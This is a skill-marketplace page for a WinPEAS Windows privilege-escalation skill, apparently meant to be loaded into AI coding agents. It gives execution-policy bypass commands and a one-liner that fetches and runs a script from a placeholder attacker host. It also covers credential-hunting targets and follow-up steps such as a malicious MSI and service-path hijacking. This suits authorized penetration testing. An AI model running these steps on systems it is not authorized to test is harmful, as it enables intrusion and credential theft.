offensive-tools/windows/winpeas/SKILL.md
Auth/lab ref: Windows privilege escalation enumeration tool that identifies misconfigurations, weak permissions, unpatched services, and privilege escalation paths.
npx skillsauth add aeondave/malskill winpeasInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Windows Privilege Escalation Awesome Suite — comprehensive system enumeration for privilege escalation assessment.
# EXE version (simplest)
winpeas.exe
# Quiet mode (findings only, no banner)
winpeas.exe quiet
# Focus service misconfigurations only
winpeas.exe quiet servicesinfo
# Export to file
winpeas.exe > C:\Windows\Temp\winpeas.txt
# PowerShell version (for ESC bypass)
powershell -ep bypass -c ". .\winpeas.ps1; Invoke-WinPEAS -OutputFormat HTML"
# In-memory PowerShell delivery
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/winPEAS.ps1'); Invoke-WinPEAS"
| Category | What's Checked | Critical Findings | |----------|---|---| | System Info | Windows version, build, architecture, UAC | Unpatched OS, UAC disabled | | Users & Groups | Local admins, RDP users, group members | Overprivileged users, domain admins | | Network | Network adapters, firewall rules, listening ports | Cleartext protocols, open admin ports | | Services | Running services, startup type, binary paths, permissions | Unquoted paths, weak service permissions, DLL hijacking | | Scheduled Tasks | Task details, scripts, execution context | Tasks running as SYSTEM, weak script perms | | Drivers | Loaded drivers, kernel mode, vulnerable versions | Vulnerable drivers (Gigabyte, etc) | | DLL Hijacking | DLL search paths, writable directories | Exploitable DLL loads | | Registry | AutoRun entries, credentials in registry, policies | Plaintext creds, auto-privilege escalation | | Credentials | Cached creds, saved passwords, browser data | Plaintext passwords, cred manager access | | AppData | Application config files with hardcoded creds | App credentials, SSH keys | | Patching | Missing KB patches, vulnerability mapping | Known CVEs with public exploits | | File Permissions | Writable system directories, NTFS ACLs | World-writable binaries, weak folder perms | | Antivirus & EDR | AV presence, exclusions, service status | Disabled/excluded antivirus | | Kerberos | Constrained delegation, unconstrained delegation | Ticket impersonation paths |
| Flag | Description |
|---|---|
| quiet | Print findings only, minimal output |
| -OutputFormat <format> | HTML / CSV / TEXT (PowerShell only) |
| -FilePath <path> | Save to file |
| -Domain | AD-specific checks |
| -Searchpath <path> | Custom search path |
winpeas.exe > enum_full.txt
# Review for: unquoted paths, weak service perms, DLL hijacking, creds in AppData
# After running WinPEAS, look for:
# - Browser data in AppData
# - Saved passwords in config files
# - SAM/LSA secrets in registry (read-only from user context)
# - SSH keys in .ssh folder
# WinPEAS output shows:
# 1. Service binary path (check for quotes)
# 2. Service permissions (can you modify?)
# 3. DLL dependencies (can you hijack?)
# → Build exploit chain
# Run once at initial shell
# Run again after low-priv escalation
# → Identify new privilege escalation paths available at new level
🔴 CRITICAL — Exploitable immediately:
AlwaysInstallElevated = 1SeImpersonatePrivilege on exploitable host🟠 HIGH — Likely exploitable:
| Finding | Typical follow-up |
|---|---|
| AlwaysInstallElevated = 1 | Build MSI and execute with msiexec /quiet /i evil.msi |
| SeImpersonatePrivilege | Check Potato-family techniques / PrintSpoofer-style abuse |
| Unquoted service path | Drop executable in writable intermediate path and restart service |
| Writable service binary | Replace binary or re-point service path if ACLs allow |
🟡 MEDIUM — Context-dependent:
WinPEAS marks high-risk findings with:
[!] prefixReview marked sections first — these are most likely escalation vectors.
| File | When to load |
|---|---|
| references/ | Privesc techniques, exploitation examples, Windows security features |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.